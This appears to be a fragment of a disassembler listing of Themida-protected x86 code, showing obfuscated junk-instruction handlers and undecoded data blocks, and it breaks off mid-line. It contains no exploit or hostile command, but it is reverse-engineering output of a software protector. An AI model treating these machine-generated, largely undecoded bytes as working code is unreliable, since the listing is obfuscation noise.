--------------------------------------------------------------------------- db 59h dd 0E924048Fh, 0FFFFFB25h, 0EC83C300h, 24048904h, 0D4F620B4h dd 68h, 24242800h, 8324248Ah, 0CC8004C4h, 50EC808Dh, 48BE328h dd 4C48324h, 2A7B68h, 241C8900h, 51EFE9h, 0E9C80100h, 3CD0h dd 47B7E981h, 0E1C154BBh, 0D1F74903h, 0FFD39CE9h, 0DEF681FFh dd 114064Bh, 2020E9F0h, 0E9580000h, 82B2h ; --------------------------------------------------------------------------- loc_505E70: ; CODE XREF: Themida_:00505455j add ebp, ebx mov ebx, [esp] add esp, 4 xchg ebp, [esp] pop esp jmp loc_5039EA ; --------------------------------------------------------------------------- loc_505E84: ; CODE XREF: Themida_:005040B3j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp and ebp, 36EA10B9h add ebp, 0C99DFF73h jmp loc_50AB5E ; --------------------------------------------------------------------------- dw 0EB80h dd 0C30058F5h, 0E97FC380h, 8A79h, 24048B66h, 8904EC83h dd 44E9243Ch db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_505EBF: ; CODE XREF: Themida_:0050A049j or edx, eax shl edx, 1 sub esp, 4 mov [esp], eax push ebp push 2E341C5Ah pop ebp add ebp, 60234C21h jmp loc_509134 ; --------------------------------------------------------------------------- db 89h dd 0B1512404h, 59CC88A7h, 6859E480h, 37C4h, 0B6241489h dd 898CE9DAh, 24890000h, 0D22BE924h, 0C581FFFFh, 6C315E8Ch dd 68h, 0DA1EE900h, 348BFFFFh, 4C48324h, 0E9240487h, 0FFFFFA9Fh dd 153A6855h, 4890000h, 0E9E08924h, 0FFFFF4C1h, 2246E95Ch dd 0DA290000h, 5AD5015Bh, 4C581h, 2C870000h, 24248B24h dd 520FE9h, 0BA525100h, 6D556B94h, 48D5E9h db 0 ; --------------------------------------------------------------------------- loc_505F55: ; CODE XREF: Themida_:00508E19j and edx, 18B077F2h sub edx, 1010442Eh add ecx, edx pop edx xchg ecx, [esp] pop esp shr ecx, 0Ah sub esp, 4 mov [esp], edi push 3100h mov [esp], esi push 5D85h mov [esp], ebx sub dword ptr [esp], 43856020h pop esi push eax jmp loc_50BE18 ; --------------------------------------------------------------------------- dw 535Ah dd 2BBh, 5BD80100h, 31240433h, 4332404h, 24248B24h, 0F66E1F6h dd 3468CCB6h, 89000017h, 0E189240Ch, 4C181h, 0EBE90000h dd 0FFFFFFF9h, 5E042474h, 8B24048Fh, 0C892424h, 4725E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_505FD6: ; CODE XREF: Themida_:005049B8j add esp, 4 pop dword ptr [esp] mov esp, [esp] push 2C6Ch mov [esp], ebx jmp loc_505BF8 ; --------------------------------------------------------------------------- db 41h dd 40F18149h, 29C0CFACh, 0E58159CDh, 6CF85A2Dh, 7C2FF581h dd 510534A4h, 16FE52Eh, 357BE9E8h, 74FF0000h, 48B0424h dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 89E95Ch dd 5240000h, 0F6C28852h, 5AD088D2h, 0B353E0D0h, 80C3FE4Ch dd 0F38075EBh, 80C3FE51h, 6E9F4F3h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50604F: ; CODE XREF: Themida_:0050A6C8j sub bl, dh pop edx movzx eax, al push dword ptr [edi+eax*4] sub dword ptr [esp], 20D33367h push dword ptr [esp] push dword ptr [esp] pop eax push edi mov edi, esp add edi, 4 push 535Ah jmp loc_506703 ; --------------------------------------------------------------------------- db 31h, 0DAh, 5Bh dd 5605EAC1h, 5B51E9h, 48B6600h, 4ADA6824h, 31E90000h dd 0FF000041h, 0C8B2434h, 0A7E95324h, 81FFFFE0h, 4EAh dd 24148700h, 48F545Ch, 2A026824h, 32E90000h, 8F00002Fh dd 0D25C2404h, 0E99C2404h, 0FFFFCAAAh, 51EE68h, 24048900h dd 0B951E089h, 4, 48C7E9h, 0C8015F00h, 0B15E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5060E2: ; CODE XREF: Themida_:005096C1j add ecx, edi jmp loc_50AE3D ; --------------------------------------------------------------------------- aSiusp0 db 'S‰ãé¯0',0 db 0 ; --------------------------------------------------------------------------- loc_5060F1: ; CODE XREF: Themida_:005085CCj mov bl, dl push edx jmp loc_5035D3 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0F5h dd 20FA1536h, 34FFEE01h, 0C4835D24h, 0C7BD5504h, 0E9593E5Bh dd 91FBh, 1C3FB850h, 0E0C13227h, 85BE5608h, 0E96B813Ah dd 0FFFFD3ECh, 0FE02C483h, 0A6F680CEh, 22E9722Ch db 8Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_506137: ; CODE XREF: Themida_:0050461Dj push dword ptr [edi+eax*4] mov eax, [esp] push 57E0h mov [esp], edi push 12ADh mov [esp], esp push eax jmp loc_505B37 ; --------------------------------------------------------------------------- db 54h dd 650EE9h db 0 ; --------------------------------------------------------------------------- loc_506159: ; CODE XREF: Themida_:0050BC3Fj mov esp, [esp] and eax, ebp pop ebp or edx, eax jmp loc_50B12D ; --------------------------------------------------------------------------- aUtsc db 'UTéC',0Bh,0 db 0 ; --------------------------------------------------------------------------- loc_50616D: ; CODE XREF: Themida_:005065D7j add esp, 4 push ecx push esp pop ecx push esi push eax mov eax, 4 push ecx push eax add dword ptr [esp], 2B6D6808h pop ecx sub ecx, 2B6D6808h mov esi, ecx jmp loc_5088B7 ; --------------------------------------------------------------------------- db 81h, 0CAh, 3Bh dd 0F759923Ch, 0DB42E9D2h, 3C89FFFFh, 81E78924h, 4C7h dd 4EC8100h, 89000000h, 3BE9241Ch, 0F7000010h, 4E2C1D2h dd 0F703EAC1h, 4EC83DAh, 73EEE9h, 0F626B700h, 8E7C0D7h dd 8076C780h, 0F9084DF7h, 6B72E9h db 0 ; --------------------------------------------------------------------------- loc_5061DD: ; CODE XREF: Themida_:0050D85Fj mov edi, [esp] add esp, 4 mov esi, ecx pop ecx add ebx, 5AA7564h add ebx, esi push ebp mov ebp, 5AA7564h sub ebx, ebp pop ebp pop esi xchg ebx, [esp] pop esp push edx mov edx, esp add edx, 4 push esi jmp loc_5036FA ; --------------------------------------------------------------------------- dw 0C89h dd 4EC8324h, 51240489h, 8E226EB9h, 59C8891Ah, 684748B9h dd 58C10146h, 8A1A792Dh, 3DD3E901h, 1C310000h, 241C3324h dd 6124248Bh, 2BE9C39Dh, 0B1FFFFC9h, 0E9C1FE40h, 214Bh dd 50242489h, 4B8h, 24440100h, 815D5804h, 4C5h, 4ED8300h dd 31242C33h, 2C33242Ch, 2C895C24h, 50E58924h, 56766852h dd 0C15A7CE0h, 0F28102EAh, 6D0F1E57h, 214FE9h, 93B95100h dd 0F741905Fh, 7844E9D9h, 48F0000h, 0E122E924h, 5ADFFFFh dd 9FB37A7h, 5819E9h db 0 ; --------------------------------------------------------------------------- loc_5062A9: ; CODE XREF: Themida_:00509E6Aj mov eax, 0CC56D1h jmp loc_50AA7C ; --------------------------------------------------------------------------- db 66h dd 0E9523868h, 0FFFFE65Dh, 8904EC83h, 38E92434h, 5D00004Fh dd 34FFC701h, 0DCE95824h, 0B7000020h, 80C7FE6Ah, 0CF8059CFh dd 5C36E987h, 0C4830000h, 6C94E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5062EA: ; CODE XREF: Themida_:0050D6B7j add [esp+8], ebp jmp loc_50541F ; --------------------------------------------------------------------------- db 0FFh dd 81582434h, 4C4h, 24048F00h, 6B2BE9h, 0C864E900h, 0C181FFFFh dd 4, 8704E983h, 248B240Ch, 241C8924h, 0FD7180BBh, 34815312h dd 0E9672524h, 0F6815E3Fh, 3FE96725h, 8ABD555Bh, 8912FD71h dd 0F1315DE9h, 5E2434FFh, 4EC81h, 34890000h, 81E68924h dd 4C6h, 4C68300h, 5C243487h, 0BAE9A5F3h, 87FFFFDCh, 0E95C243Ch dd 0FFFFC806h, 0C8B60F66h, 531EE9h, 0F2295D00h, 0FFD719E9h dd 0E94343FFh, 0FFFFE851h ; --------------------------------------------------------------------------- loc_506380: ; CODE XREF: Themida_:0050E808j push 5F87AC4h jmp loc_509AF6 ; --------------------------------------------------------------------------- dw 0C33h aSE db '$\Ó$$œéÃE',0 dw 8100h dd 4C4h, 8EE95500h db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5063A3: ; CODE XREF: Themida_:00508997j push eax mov eax, 4 add edx, eax pop eax xchg edx, [esp] jmp loc_505D1F ; --------------------------------------------------------------------------- loc_5063B4: ; CODE XREF: Themida_:00504AD3j pop edi add ecx, ebx jmp loc_50A55B ; --------------------------------------------------------------------------- dd 2E46EB81h, 0EB294DA7h, 2E46C381h, 15D4DA7h, 241C8BD9h dd 0E9E38953h, 7D6Bh, 1EAD68h, 895EE900h, 0DD290000h, 242C875Bh dd 2404895Ch, 0FFC77DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5063F1: ; CODE XREF: Themida_:0050BF40j add ecx, ebp jmp loc_509BD9 ; --------------------------------------------------------------------------- aSs db '^Séà ',0 db 0 ; --------------------------------------------------------------------------- loc_5063FF: ; CODE XREF: Themida_:00507BDBj and eax, ebp pop ebp shr eax, 0Eh xor eax, ecx push 2EBh mov [esp], eax xor [esp], edx jmp loc_50F229 ; --------------------------------------------------------------------------- loc_506417: ; CODE XREF: Themida_:0050B3CAj or ecx, 10D510DEh shr ecx, 4 jmp loc_50898E ; --------------------------------------------------------------------------- db 51h, 53h, 0BBh dd 3C87054Ah, 0FFCA92E9h, 240487FFh, 1642E9h, 5A5D5200h dd 67E9554Dh, 89FFFFDCh, 0C568240Ch, 593EA52Dh, 0B1E7E981h dd 0ECE91990h, 6600001Eh, 66557BBAh, 66EFBDBBh, 11D7EB81h dd 0E9D30166h, 32C4h ; --------------------------------------------------------------------------- loc_50646C: ; CODE XREF: Themida_:0050AF6Cj mov ebp, 34761ACFh jmp loc_503EC7 ; --------------------------------------------------------------------------- loc_506476: ; CODE XREF: Themida_:0050C585j pop dword ptr [esp] jmp loc_50A24D ; --------------------------------------------------------------------------- aLs27 db '±Lé27',0 dd 0C1D8F700h, 3E3503E0h, 0E9025AC2h, 2E6h, 4240483h, 8124348Bh dd 4C4h, 3FA0E900h, 815D0000h, 4C4h, 66393500h, 0C10170B5h dd 2C18358h, 0E9240C33h, 5971h, 4D75C181h, 0E1C11D8Ch dd 3951E906h, 148B0000h, 4C48324h, 64B1E9h, 0E0895000h dd 405h, 42D00h, 4870000h, 21E95C24h, 100002Dh, 82EA81C2h dd 584B543Dh, 5C241487h, 0F66E9F6h, 6866CCB6h, 8966096Eh dd 59E9240Ch, 0FFFFFEh, 0CAEB80C3h, 58E6C380h, 8DC0B60Fh dd 5D688704h, 89000045h, 43E92404h, 0B8FFFFC6h, 4C944613h dd 5F0E6850h, 0C890000h, 39E95824h, 33FFFFD0h, 0FF5C241Ch dd 51582434h, 8904EC83h, 0E9522424h, 3453h, 33B1E946h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50655A: ; CODE XREF: Themida_:0050A065j push edx mov edx, 3C770102h dec edx dec edx shr edx, 1 jmp loc_50D400 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 7B6BA52h, 40E934F7h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_506577: ; CODE XREF: Themida_:0050A881j sub edx, 1A5196C0h xor esi, edx jmp loc_50F144 ; --------------------------------------------------------------------------- dd 689AB951h, 0D1F7288Eh, 0FFCCAAE9h, 0DDEE81FFh, 1755C0Ah dd 0DDC681C6h, 8B755C0Ah, 0C4832404h, 0E6C15804h, 0FFC68104h dd 81FFFFFFh, 0FC0E8C6h, 8B585604h, 0C4832434h, 0C5ACE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5065C2: ; CODE XREF: Themida_:0050CA70j sub ecx, ebx pop ebx xor ecx, 2D120757h sub ecx, 5828EC87h xor eax, ecx pop ecx mov edi, [esp] jmp loc_50616D ; --------------------------------------------------------------------------- dd 33241C31h, 0D35C241Ch, 0E99C2404h, 0FFFFD71Ah, 3304C383h dd 1C31241Ch, 0FF45E924h, 0C189FFFFh, 0E9CA0158h, 0FFFFD083h dd 1DE9C531h, 5F00005Bh, 28ACE9h db 0 ; --------------------------------------------------------------------------- loc_506611: ; CODE XREF: Themida_:0050EFB2j shr ecx, 7 and ecx, 33913CE6h push 4C7Eh mov [esp], edi mov edi, 0A395839Dh xor ecx, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_50376C ; --------------------------------------------------------------------------- db 0C1h, 0EEh, 6 dd 2EE6BB53h, 81E932C6h, 66FFFFECh, 6605EDC1h, 0EC9BED81h dd 0E9E98966h, 35EDh, 31241433h, 14332414h, 1C895C24h dd 12D0BB24h, 0D8015A8Ah, 53241C8Bh, 0C381E389h, 4, 8C685152h dd 59055227h, 0C622E952h, 0CE80FFFFh, 0B7EE807Bh, 37EE80h dd 6EE95AF0h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_506693: ; CODE XREF: Themida_:00503A8Dj push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_5049DC ; --------------------------------------------------------------------------- loc_50669F: ; CODE XREF: Themida_:00504106j shl esi, 8 push eax mov eax, 7F1B52A3h or eax, 7F391E24h xor eax, 190D79CFh push eax not dword ptr [esp] pop eax jmp loc_50F069 ; --------------------------------------------------------------------------- dd 260BEF81h, 0DF017503h, 0FFE172E9h, 5CC281FFh, 0E98A2BF1h dd 2441h, 4240483h, 8124148Bh, 4C4h, 4C28100h, 81000000h dd 4ECh, 243C8900h, 468h, 5DC4E900h, 1C890000h, 0F2E95424h db 70h, 2 dup(0) ; --------------------------------------------------------------------------- loc_506703: ; CODE XREF: Themida_:00506074j mov [esp], ebp mov ebp, 4 add edi, ebp mov ebp, [esp] add esp, 4 xchg edi, [esp] jmp loc_50869F ; --------------------------------------------------------------------------- loc_50671E: ; CODE XREF: Themida_:00507D20j xchg ecx, [esp] pop esp sub al, 0EFh sub al, bl add al, 0EFh push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 push edx mov dl, 0 neg dl jmp loc_507EF7 ; --------------------------------------------------------------------------- db 5Ah, 2Dh, 67h dd 106634Eh, 4E6705D8h, 172D0663h, 0E923A513h, 3FECh, 8124048Bh dd 4C4h, 0E6895600h, 1E0D68h, 241C8900h, 4BBh, 5BDE0100h dd 2F78E953h, 0C5310000h, 33F58158h, 13BE843h, 0FBE7E9EAh dd 0F681FFFFh, 330B1C05h, 341FEE81h, 2E2D6251h, 2D641F21h dd 687F4BB1h, 0B105F001h, 0E9687F4Bh, 0FFFFF63Dh, 0F0FEBBDh dd 0E9EA013Ah, 0FFFFE177h ; --------------------------------------------------------------------------- loc_5067B8: ; CODE XREF: Themida_:0050572Ej shl dh, 1 xor dh, 4Ah and dh, 0C9h push ebx push 2559h jmp loc_50EC49 ; --------------------------------------------------------------------------- db 0F7h dd 0D2E981D1h, 31B4AB11h, 0EEC159CEh, 65A7E907h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5067DE: ; CODE XREF: Themida_:00508D3Fj mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5072B6 ; --------------------------------------------------------------------------- loc_5067F1: ; CODE XREF: Themida_:0050AA66j add esp, 4 and eax, ecx push dword ptr [esp] pop ecx push edi mov edi, esp jmp loc_503E96 ; --------------------------------------------------------------------------- aAHfqO db '(ÀÃhfQ±Ž',0 db 0CBh dd 0C3805966h, 0C388530Eh, 28B850h, 532D0000h, 5568722h dd 0D646B00h, 0B951F801h, 48140A0h, 8104E9C1h, 6D5341C9h dd 12E95105h, 68FFFFE8h, 1252h, 0E9241489h, 0E2Eh, 4A3ACD81h dd 814D75ADh, 0AD6FB6EDh, 61BCE977h, 600D0000h, 357DFA1Ah dd 52691F29h, 1011C381h, 0C3297676h, 1011EB81h, 56587676h dd 0AF7F42BEh, 0D0E68131h, 81707660h, 1665EEF6h, 7DF6816Dh dd 1046502h, 0C3295EF3h, 7D3EB81h, 0EC835955h, 240C8904h dd 126F4CB9h, 0F5A2E901h, 0E781FFFFh, 4EE61B60h, 0C8E9DFF7h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5068B7: ; CODE XREF: Themida_:00508D14j mov ah, 9Ch xor dl, ah pop ax and dl, 35h sub dl, 0DFh and ch, dl pop edx dec ch jmp loc_5070D1 ; --------------------------------------------------------------------------- loc_5068CD: ; CODE XREF: Themida_:00502CB7j push 3C4Ch mov [esp], ebp mov ebp, 0FFFFFFFFh push edx sub esp, 4 mov [esp], esi push 5C33h mov [esp], ebp mov ebp, 4AB1875h jmp loc_50E494 ; --------------------------------------------------------------------------- loc_5068F3: ; CODE XREF: Themida_:0050F232j pop edi jmp loc_503A7C ; --------------------------------------------------------------------------- db 51h, 0B9h, 98h dd 0E94E7202h, 0FFFFED7Eh ; --------------------------------------------------------------------------- loc_506904: ; CODE XREF: Themida_:00504AB2j push 3497h mov [esp], ebx mov ebx, 52B37003h sub ebx, 0FFFFFFFFh push 7A06h mov [esp], ebx jmp loc_50F126 ; --------------------------------------------------------------------------- dd 81E28952h, 4C2h, 0F76DE900h, 0C681FFFFh, 8714FA72h dd 0E95EF529h, 4701h, 6624248Bh, 56240C8Bh, 15CCE9h, 4215C00h dd 17E99C24h, 0FFFFFFC2h db 34h, 24h, 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov ecx, 392A356Ch jmp loc_507EB3 ; --------------------------------------------------------------------------- db 0B9h, 4, 0 dd 0CF010000h, 592434FFh, 4C481h, 3C870000h, 24248B24h dd 0FFC62BE9h, 0B5515BFFh, 0BDED80B5h, 8002E5C0h, 0C5FE05EDh dd 0B6F580h, 0F36859E8h, 0E900005Dh, 5525h, 0DF64E955h dd 0CD68FFFFh, 89000002h, 4832424h, 348B0424h, 4C48124h dd 68000000h, 3654h, 0BF243C89h, 6DC9788Ah, 8DF7814Fh dd 16DC978h, 0BF575FFEh, 2, 815FFE01h, 4ECh, 24348900h dd 42474FFh, 8124348Bh, 4C4h, 24048F00h, 2824248Bh, 0E99C2404h dd 0FFFFC16Ah, 65E9C729h, 8B000009h, 0C483240Ch, 0FFFF2D04h dd 19E9FFFFh, 8100007Fh, 4C4h, 2B95100h, 1000000h, 0E699E9CBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_506A2E: ; CODE XREF: Themida_:005073FAj shr eax, 7 push ebx mov ebx, 79530303h jmp loc_509B52 ; --------------------------------------------------------------------------- loc_506A3C: ; CODE XREF: Themida_:0050C14Bj add ebp, 5E7B281Fh mov eax, ebp push dword ptr [esp] pop ebp push 7118h mov [esp], ecx push esp pop ecx push eax push ebp mov ebp, 5E51406Bh mov eax, ebp pop ebp push edi mov edi, 0A1AEBF99h sub eax, 52507FCCh add eax, edi add eax, 52507FCCh pop edi add ecx, eax pop eax add ecx, 4 xchg ecx, [esp] pop esp jmp loc_503C5B ; --------------------------------------------------------------------------- dw 0E953h dd 1E04h, 4C681h, 0EE830000h, 24348704h, 2414895Ch, 4EC81h dd 3FE90000h, 0BBFFFFE3h, 5BAA7158h, 40EFCB81h, 0C8E959F7h dd 2D00005Eh, 7FFF59F2h, 0D4E9C101h db 74h, 2 dup(0) ; --------------------------------------------------------------------------- loc_506ABB: ; CODE XREF: Themida_:0050DC86j pop esp add ebx, 9DDF1330h sub esp, 4 mov [esp], ebx push dword ptr [esp] pop edi add esp, 4 pop ebx and eax, edi pop edi or eax, eax jz loc_50DA1C push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx push ebx mov ebx, esp jmp loc_50D664 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h aStH db 'ST[h#[',0 align 4 dd 68243C89h, 59260F7Fh, 2088E9h db 0 ; --------------------------------------------------------------------------- loc_506B05: ; CODE XREF: Themida_:00503CD4j add dword ptr [esp], 7F774BB6h push ebx push esi mov esi, 3B32558h mov ebx, esi pop esi sub [esp+4], ebx pop ebx push esi push ecx mov ecx, 51B3BEBh mov esi, ecx pop ecx push esi mov esi, 7E205B02h sub [esp+8], esi pop esi add [esp+4], esi add dword ptr [esp+4], 7E205B02h pop esi jmp loc_502B6E ; --------------------------------------------------------------------------- dw 8758h dd 835C240Ch, 34FF04C4h, 2434FF24h, 8324048Bh, 5DE904ECh dd 0F6000063h, 51E6D0D6h, 0ED80B3B5h, 15BFE94Bh, 0C3810000h dd 7B742A5Eh, 85DFE9h, 0B4505200h, 8099B2C2h, 0EA804BEAh dd 0C2C280D1h, 0EA80E200h, 0D1C280C2h, 584BC280h, 0D00019B0h dd 4363E9h, 0BFD0E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_506B9E: ; CODE XREF: Themida_:0050B4C2j sub ecx, esi push dword ptr [esp] pop esi jmp loc_50F1E4 ; --------------------------------------------------------------------------- loc_506BA9: ; CODE XREF: Themida_:0050CD5Aj pop ecx or eax, eax jz loc_503EF3 push dword ptr [edi+28h] push dword ptr [esp] jmp loc_50A686 ; --------------------------------------------------------------------------- db 2Ch, 0C6h, 0 dd 66C604F0h, 84CEE953h, 0D0F70000h, 79447E0Dh, 38850545h dd 0C2010800h, 24143358h, 0E9241431h, 7C29h, 83240C8Bh dd 342C04C4h, 2EC81h, 22E90000h, 5000056h, 2CC67623h, 0B4E9D829h db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_506C03: ; CODE XREF: Themida_:00509A96j add ecx, 38785F7Eh push eax mov eax, ecx mov esi, eax pop eax pop ecx add [esp+4], esi jmp loc_50D95D ; --------------------------------------------------------------------------- aRitsmg db 'R‰âémG',0 dd 0E9EE0100h, 6C1h, 5253AD66h, 0FFF826E9h, 7E3C1FFh, 85BFEB81h dd 0DF21CC77h, 83241C8Bh, 0F78104C4h, 919FFB4Ch, 15FF989h dd 0E98158C1h, 39134B3h, 582BB850h, 0C1293DA2h, 0F7E98158h dd 0E95A7627h, 72B8h, 0FE35CB80h, 7EBC0C3h, 0F380D3F6h dd 0E9DBF6ABh, 4EAEh, 81242C8Bh, 4C4h, 4C58100h, 81000000h dd 4EDh, 242C8700h, 2424895Ch, 4240481h, 8B000000h, 0C483240Ch dd 87BA5204h, 0E9056969h, 47D9h, 4C5815Dh, 68000000h, 415Fh dd 0BB241C89h, 4, 555BDD01h, 42474FFh, 24048F5Dh, 6824248Bh dd 464Eh, 0E9242C89h, 0FFFFFACCh ; --------------------------------------------------------------------------- loc_506CE0: ; CODE XREF: Themida_:0050D0B5j add ecx, 45AC485Eh shl ecx, 2 jmp loc_50C25F ; --------------------------------------------------------------------------- loc_506CEE: ; CODE XREF: Themida_:00509F72j pop eax sub dword ptr [ecx], 51683A6Fh mov ecx, [esp] jmp loc_50998A ; --------------------------------------------------------------------------- db 0BAh, 0EDh, 2Ah dd 17B93854h, 81C7ABD5h, 0D24D77C1h, 81D1011Ah, 0D24D77E9h dd 0CF015A1Ah, 4C78159h, 33000000h, 3C31243Ch, 0C274E924h dd 0C483FFFFh, 2434FF04h, 4C48159h, 0E9000000h, 6B9Eh ; --------------------------------------------------------------------------- loc_506D3C: ; CODE XREF: Themida_:0050EB6Fj inc esi dec esi add esi, 50ED57A3h jmp loc_50960F ; --------------------------------------------------------------------------- db 81h, 0C3h, 48h dd 5F348918h, 0B60F66h, 4EC81h, 14890000h, 34FF5424h, 0C4835A24h dd 26BD5504h, 81130378h, 37822EDh, 7CE5E913h, 0EA810000h dd 5CF7692Bh, 0FFF53BE9h, 0E9C201FFh, 6285h, 44FE5266h dd 5A660124h, 0FFCFD3E9h, 243431FFh, 8B243433h, 8B662424h dd 0E950240Ch, 18E4h, 5898E981h, 42E931D0h, 8100002Ch dd 9835EEF1h, 0D9F74119h, 8349E9h, 9C516600h, 0FFBDA5E9h db 0FFh ; --------------------------------------------------------------------------- loc_506DC9: ; CODE XREF: Themida_:00504C4Dj add ch, 0D6h add bl, ch pop ecx add bl, 2Dh sub bl, 1Fh add bl, al add bl, 1Fh sub bl, 2Dh sub bl, 55h add bl, 82h movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h, 0C3h, 66h dd 50240C8Bh, 30B968h, 24248900h, 4240481h, 58000000h dd 405h, 0A5E95500h db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_506E0B: ; CODE XREF: Themida_:00505D90j xor ecx, [esp] jmp loc_5083A4 ; --------------------------------------------------------------------------- db 5Bh dd 104C483h, 0F1E95EF2h, 81000015h, 0CC75F9E6h, 0DC20E95Dh dd 0EC81FFFFh, 4, 83242489h, 5D042404h, 394DE9h, 34FF5F00h dd 0C4835D24h, 4EC8304h, 226FE9h, 24148700h, 6ED5E95Ch dd 54010000h, 148B0824h, 4C48324h, 2404815Ah, 2043739Fh dd 81240401h, 739F242Ch, 4812043h, 97247E24h, 0BCF0E93Fh dd 0EA89FFFFh, 0E2C1425Dh, 0B1EA8108h, 2172ECE6h, 9BE95AD6h dd 8900004Ah, 7E92414h, 8100002Eh, 4C5h, 59BE5600h, 814A3C17h dd 9329AACEh, 60EE8148h, 4655C231h, 90AEE81h, 73E97C12h dd 5EFFFFFAh, 15B1E9h, 9CC88400h, 47F5E9h db 0 ; --------------------------------------------------------------------------- loc_506ECD: ; CODE XREF: Themida_:00503ED1j push edx mov edx, 60FF74E8h sub edx, 61D286Dh push ecx mov ecx, 42805A67h add edx, ecx pop ecx sub edx, 3CE6226Eh add edx, 40B7770Ah xor edx, 0D00F5D7Dh add ebp, edx pop edx sub edi, ebp mov ebp, [esp] jmp loc_50B670 ; --------------------------------------------------------------------------- db 52h, 0E9h, 19h dd 8B000059h, 8953240Ch, 4C381E3h, 83000000h, 99E904C3h dd 89000035h, 70BE2434h, 0E952482Dh, 2672h, 89243489h dd 0DC84E9E6h, 5452FFFFh, 4C2815Ah, 0E9000000h, 3241h dd 9C240CD3h, 0FFEBA9E9h db 0FFh ; --------------------------------------------------------------------------- loc_506F49: ; CODE XREF: Themida_:005051E6j pop esp or eax, eax jz loc_50CB09 push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_502F69 ; --------------------------------------------------------------------------- aUCfumqsW db 'U½CFãMQé\w',0 dd 24048900h, 0B12E9h, 0C3B95100h, 0E90BC15Eh, 768Fh, 2D9A68h dd 7355E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_506F86: ; CODE XREF: Themida_:00509647j pop esi xchg edx, [esp] pop esp mov [esp], bx mov bh, 48h jmp loc_50EEBF ; --------------------------------------------------------------------------- dw 0CB01h dd 241C8759h db 8Bh, 2 dup(24h) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_507438 ; --------------------------------------------------------------------------- aSz db '^é§-',0 dd 39C78100h, 0E9D3AD4Ch, 4474h, 96020FBBh, 0FBE38149h dd 0C12D001Ch, 814308E3h, 0BD1988F3h, 24C38121h, 290F996Ch dd 875B5BD9h, 895C240Ch, 0BF57240Ch, 676255Ah, 9807AEB9h dd 0E9F93149h, 0FFFFF0E9h, 0B959D1B9h, 59CA2958h, 85E9CA01h dd 52FFFFF5h, 72E9E289h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507007: ; CODE XREF: Themida_:00502D49j mov [esp], ecx jmp loc_50555A ; --------------------------------------------------------------------------- db 1 dd 0EF8159CFh, 4, 8B243C87h, 1C892424h, 80C2E924h, 43E90000h dd 58FFFFBBh, 0FFDC28E9h, 0B25266FFh, 66D028F0h, 314AE95Ah dd 148B0000h, 4C48124h, 83000000h, 67E902C5h, 8900007Bh dd 0A5E9240Ch db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_507057: ; CODE XREF: Themida_:00509A31j add ecx, 4 xchg ecx, [esp] jmp loc_502BC3 ; --------------------------------------------------------------------------- loc_507065: ; CODE XREF: Themida_:0050AF2Ej xor dword ptr [esp], 0FF025C1h jmp loc_50E5DC ; --------------------------------------------------------------------------- db 55h, 0BDh, 47h dd 11E216Eh, 0E904246Ch, 0FFFFBB9Ah ; --------------------------------------------------------------------------- loc_507080: ; CODE XREF: Themida_:00508A56j not ebp push ebx push ecx mov ecx, 43681B48h mov ebx, ecx pop ecx or ebp, ebx mov ebx, [esp] push ecx mov ecx, esp jmp loc_5051FE ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 4C481h, 0A3E90000h, 66FFFFDFh, 51240C8Bh, 5750E189h dd 0DE5EB9BFh, 5FF88947h, 0A045B225h, 2D49257Bh, 0B9516E84h dd 4A3A77CCh, 4104E1C1h, 2430E9h db 0 ; --------------------------------------------------------------------------- loc_5070D1: ; CODE XREF: Themida_:005068C8j sub ch, 93h add bl, ch pop ecx jmp loc_50AF28 ; --------------------------------------------------------------------------- dd 8BE9028Fh db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5070E3: ; CODE XREF: Themida_:0050A8C7j pop edx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push ebx push esi mov esi, 51A81AD5h mov ebx, 17FEFCB2h jmp loc_505AB8 ; --------------------------------------------------------------------------- dd 42474FFh, 0FFD8F4E9h, 4AEAD1FFh, 65F28142h, 81018D06h dd 0C44D9FCAh, 0DB48E954h, 0DD29FFFFh, 242C875Bh, 2424895Ch dd 4188E9h, 0E9D6F700h, 4217h, 8E1C166h, 31B5E9h, 0E2895200h dd 4C281h, 0EA810000h, 4, 0FFF4FBE9h, 660381FFh, 8BD3009Dh dd 0C483241Ch, 2447C704h, 66CC6E1Eh, 63A7E9h, 0EC835B00h dd 243C8904h, 5CA7E9h, 3C895C00h, 0E95F5424h, 4C7Fh, 0C281E289h dd 4, 8704C283h, 248B2414h, 0CE9FE924h, 8B5EFFFFh, 0C483242Ch dd 24048704h, 2424D25Ch, 0B9BCE99Ch, 